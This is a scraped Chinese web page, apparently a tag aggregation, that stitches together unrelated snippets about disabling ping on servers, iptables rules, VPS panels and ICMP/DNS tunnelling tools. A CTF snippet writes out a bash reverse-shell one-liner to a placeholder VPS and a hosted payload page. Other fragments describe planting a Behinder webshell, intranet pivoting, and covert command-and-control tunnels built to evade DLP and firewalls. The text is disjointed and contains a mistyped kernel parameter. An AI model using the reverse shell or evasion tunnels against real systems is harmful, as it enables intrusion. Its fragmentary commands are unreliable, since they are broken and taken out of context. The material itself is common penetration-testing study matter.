前面一次网进行了内网渗透，这里做个人小结，也方便其他小伙伴学习EW。这里仅记录后渗透中与EW相关的部分已提前在tomcat中留下冰蝎马。
服务器禁ping从某种意义上来说，算是不存活的主机，但nmap是依然能够扫描出来的。 设置禁ping命令： vim /etc/sysctl.conf 打开后按i进入编辑模式，在任意位置新增以下内容 net.ipv4.icmp_echo_ignore_all=1
WDCP也算是国产中颇受大家欢迎的VPS主机面板了，提供了nginx、apache、mysql、php等Web建站环境一键搭建。印象中，国内VPS主机面板也就是WDCP还在坚持着，AMH已经走上了收费的道路（PS：免费版本长年不更新，各种问题和不兼容）。
日常我们进行互联网活动，ping直接影响网速，如果ping不通，则会出现断网、网卡的现象，如果ping通常，则不会影响网速，可以说ping可以用来检测网络是否通畅，那Ping是什么？服务器如何禁ping？对于这两个问题，下面为大家简单阐明。
Linux服务器禁ping可以通过内核参数和防火墙设置来实现。内核参数中，临时或永久设置icmp_echo_ignore_all的值即可。防火墙设置中，允许ping时添加相应规则，禁止ping时删除或注释掉相关规则。设置完成后，执行sysctl-p使新配置生效。同时，关闭防火墙或在宝塔面板打开禁ping开关也可以达到禁ping效果。
1.永久禁ping，外部和内部都无法使用ping 编辑配置文件/etc/sysctl.conf
通过修改配置方式禁止ping后，内部ping也将失效，通过防火墙方式禁止ping后，可以ping自己内部网络。
2. 点击 入站规则，找到 回显请求-ICMPv4-In （Echo Request – ICMPv4-In）
参考：http://jingyan.baidu.com/article/c1a3101e878dcede656deb05.html
最近不知道是什么原因导致，备案越来越繁琐，越来越复杂，上周给公司备案需要二次核验，又得法人拍摄承诺视频等等，，，总之比之前的手续复杂了不少，然后昨天又接到之前已备案域名的核验，说是备案域名必须解析在服务器IP才行，解析是没有问题，但是主站开启了网站证书，直接解析到服务器的话就会导致提示“访问的证书无效”等风险提示，这种提示太不友好，所以不能这么操作，最终决定使用三级域名去解析，这样就可以了，但是腾讯的客服告知服务器无法ping通，查询不到具体的IP地址，看吧，事情总是一波接着一波。。。
Yandex 是俄罗斯的一家网站，也有一个搜索引擎。今天检查站点日志的时候发现在疯狂的爬取。于是顺手用 Nginx 禁了，再加上 robots.txt 规则。
凌梦云旗下节点基本上都有做防火墙策略，例如被DDos达到一定阈值或者持续或间断攻击，防火墙会自动开启禁止ICMP协议，换句话说就是禁Ping，Ping一般我们看各地区延迟，或者服务器是否宕机等等可以监测服务器是否正常运行，但是有些所谓的黑客，会写脚本Cron监测你的ip是否存活或者说ping你的ip是否属于正常，如果正常则攻击，宕机就停止攻击，对于这种情况也是比较头疼，然后也就衍生了我们这种防火墙自动禁Ping的策略，但是这样的话该怎么监测服务器是否正常呢
主要讲2个基本的实际应用，主要涉及到禁ping（ipv4）以及禁止udp，即禁止有黑客利用服务器向外发包ddos攻击方面的内容。 一、如果没有iptables禁止ping echo 1 > /proc/sys/net/ipv4/icmp_echo_igore_all #开启 echo 0 > /proc/sys/net/ipv4/icmp_echo_igore_all #关闭 二、利用iptables规则禁ping iptables -A INPUT -p icmp --icmp-type 8 -s 0/0
这是一个php在线PIng接口源码，使用exec函数进行调用系统ping服务，然后回调一个json格式数据。 该源码特色： 调用纯真IP数据库进行IP定位 使用exec函数调用系统Ping服务 支持linux与windows双系统运行 json格式数据回调，支持最大、最小、平均延迟返回 以上就是该源码的部分特色介绍，下面说说数据回调详解 状态码：1000->成功,1001->error,1002->禁ping,1003->找不到主机
在上一篇文章中，我们讲解了木马中常用的端口转发技术，这一节讲解一下木马通信协议中的ICMP协议，并通过ICMP实现一个反弹shell。
N1book---死亡ping命令 有时候命令执行的题目限制了字数或者某些函数被禁用了，那么此时可以用反弹shell的效果，连接题目的机器 一般来说，构造bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxxx 0>&1的方式，发送到客户端执行，但是有时候不一定可以，可能会报错啥的，所以此时可以在只记得vps中，新建一个页面，比如xxx.xxx.xxx.xxx/bash.php中的内容是bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxxx 0>&1，然
服务器可以通过ping命令测试网速和稳定性，但是，在局域网环境下，一些恶意用户经常使用ping命令连续向服务器系统发送一些大容量的数据包，这可能导致服务器系统崩溃。此外，非法攻击者还可以通过ping命令的一些参数获取服务器系统的相关运行状态信息，并根据这些信息对服务器系统进行有针对性的攻击。
4. 配置 WireGuard：在 VPS 主机上创建一个 WireGuard 配置文件 wg0.conf，将以下配置信息添加到该文件中：
这是一种新的墙，以前我新建日本的vps的时候，其IPv4地址是直接的ping不通，但这次不一样，IPv4地址能够正常的ping，可就是国外与国内扫描端口不一样！
1.使用两台Linux虚拟机和一台win10物理机。一台Linux主机作为网关（需要双网卡），另一台Linux主机作为内网，使用物理机作为外网。
ping 相信是很多人非常常用的命令，但究竟有多少人把它的动能发挥到最大了呢？今天就来看看你可能会忽略的一些功能，我不敢说使用了这些就能发挥 ping 的最大功能，大家有什么补充的，欢迎留言。
iodine是基于C语言开发的，分为服务端和客户端。iodine支持转发模式和中继模式。其原理是：通过TAP虚拟网卡，在服务端建立一个局域网；在客户端，通过TAP建立一个虚拟网卡；两者通过DNS隧道连接，处于同一个局域网(可以通过ping命令通信)。在客户端和服务器之间建立连接后，客户机上会多出一块名为dns0的虚拟网卡。
直到看了Micro8大佬写的教程，我才发现，原来tmux 还可以实现后台不间断运行程序，我跟你说这个功能老牛了！
哪吒面板是一个类似于ServerStatus的服务器状态监控程序，不过，哪吒面板相对来说功能更强大一些，哪吒监控 支持服务器系统状态监控、HTTP(SSL 证书变更、即将到期、到期)、TCP、Ping 监控报警，命令批量执行和计划任务，是一个一站式轻监控轻运维系统。
首先，你需要一台 VPS，并注册一个 ZeroTier 帐号：https://my.zerotier.com
1. ping 命令 ping 命令只能检查 IP 的连通性或网络连接速度，无法具体到某个端口。
ansible是一种自动化运维工具，基于Python开发，集合了众多运维工具（puppet、cfengine、chef、func、fabric）的优点，实现批量系统配置、批量程序部署、批量运行命令等功能。现，简单介绍下ansible使用方法。
搬瓦工已经是非常知名的VPS商了，其最大的优势是低廉的价格和优异的网络性能（非硬件性能），而为了摆脱超售的名声，搬瓦工也在积极降低KVM虚拟机的价格，KVM最大的优势为内存独享，而传统OpenVZ内存为共享，可以无限超售。在几天前的双十一，搬瓦工更是给出了迄今为止，甚至是全球同配置同网络的最低价，诚意十足！
在之前的文章中我介绍了使用 DNS-Shell 和 Dnscat2 利用DNS协议来进行命令控制，通过DNS协议进行通信，使得流量更加隐秘，躲避agent/DLP等安全设备的检测，实现相对隐秘的命令控制。
这个软件其实我身边不少小白都在用，其实主要就是拿来批量测试某个地址段的IP地址开机情况，并用不同颜色表示该IP是否正在使用。
收集一些自用的shell脚本，适用于懒人，关键词替换为 5hadows0cks 和 v7n 原因你懂的。
pingtunnel 是tcp/udp/sock5 流量伪装成icmp流量进行转发的工具。
默认情况下Linux系统允许ping，但是在某些情况下为了安全起见，我们都把服务器设置为禁ping。
在实际的网络中，通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况，如果发现异样，就会对通信进行阻断。那么什么是隧道呢？这里的隧道，就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装，然后穿过防火墙，与对方进行通信。当封装的数据包到达目的地时，将数据包还原，并将还原后的数据包发送到相应服务器上。
Linux默认是允许Ping响应的，系统是否允许Ping由2个因素决定的：A、内核参数，B、防火墙，需要2个因素同时允许才能允许Ping，2个因素有任意一个禁Ping就无法Ping。 A、内核参数
此问题，常发生在新安装的Windows Server 服务器上，能远程桌面，但是无法ping通。你可以查看一下，安装了Windows Server系统的电脑有没有开启网络发现，如果开启了，依旧无法ping通，那么请关闭防火墙，再尝试ping一下，如果依旧未能解决，那么请查看本地网络是否有网络设备开启了禁ping功能!
ICMP隧道简单实用，是一个比较特殊的协议。在一般的通信协议里，如果两台设备要进行通信，肯定需要开放端口，而在ICMP协议下就不需要。最常见的ping命令就是利用的ICMP协议，攻击者可以利用命令行得到比回复更多的ICMP请求。在通常情况下，每个ping命令都有相应的回复与请求。
5.核实系统内核参数【net.ipv4.icmp_echo_ignore_all】，查看不为0：
通过一个工具基本可以满足演练过程中打隧道的要求（可惜不支持dns协议）。这篇文章主要是自己研究该工具如何使用的过程 0x02 工具简介
10.15 iptables filter表案例 iptables常用知识回顾点 iptables -I/-A/-D 后紧跟 链 ，可以是INPUT，OUTPUT，FORWARD iptables -P 用来指定 链的默认策略 ——>最好不要直接操作，否则会造成远程的终端断开 iptables小案例 需求： 把80,22,21端口放行，但22端口指定一个IP段，只允许这个IP段的IP访问的时候，才可访问到，其他段的一概拒绝 实现：（用一个脚本来实现） RELATED状态，这是一个边缘的一个状态 比如：
https://tunnelbroker.net/ ,注册帐号后点击左侧“User Functions”中的“Create Regular Tunnel”，在“IPv4 Endpoint”中填入你 VPS 的 IP 地址，“Available Tunnel Servers”是自行选择一个隧道入口，就近选择即可，然后点最下方”Create Tunnel“，耐心等待创建成功后你会来到隧道详情页面，你会看到”Routed /48“右侧有个”Assign /48“，点一下，申请/48地址块，并记录下这个地址块,后面需要用到),或者也可以用自己有广播好的ipv6{ip地址标记①}.
ping是简单的测试网络连接情况的小工具，对于一般用户很实用，但是ping有个缺点就是，不能指定端口
转自Linux就该这么学 Centos7 更新后，默认防火墙由IPtables变为Firewalld，那么Firewalld配置端口的操作是怎么样的呢？让我们来学习一下吧！ 1、基本操作 sys
我们之前测试网络时，主要是通过 ping、telnet，现在多了一个 tcping~
本文借助 OpenWRTInvasion 利用 Root Shell 漏洞实现小米4A千兆版路由器禁 ping。
设备调试离不开它，全网被高频提及的一个软件。Secure CRT是一款用于连接运行包括Windows、UNIX和VMS的远程系统的理想工具，也是远程登陆交换机的必备软件的一种。
ping程序发送icmp包，用于检测网络连通性，如果主机禁ping，就没办法判断连通性了。 tcping程序基于tcp协议，查看网络延迟及开放的端口信息。
iptables常用知识回顾点 iptables -I/-A/-D 后紧跟 链 ，可以是INPUT，OUTPUT，FORWARD iptables -P 用来指定 链的默认策略 ——>最好不要直接操作，否则会造成远程的终端断开 iptables小案例 需求： 把80,22,21端口放行，但22端口指定一个IP段，只允许这个IP段的IP访问的时候，才可访问到，其他段的一概拒绝 实现：（用一个脚本来实现） RELATED状态，这是一个边缘的一个状态 比如：客户端和服务端相互了通信，建立完连接之后，还会有一
完整攻击链大概包括信息搜集、漏洞利用、建立据点、权限提升、权限维持、横向移动、痕迹清除等七步，虽然这个站点只经历了前四步，但也具有较强的代表性，组合利用漏洞形成攻击连，拿下管理权限。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
即时通信 IM
实时音视频
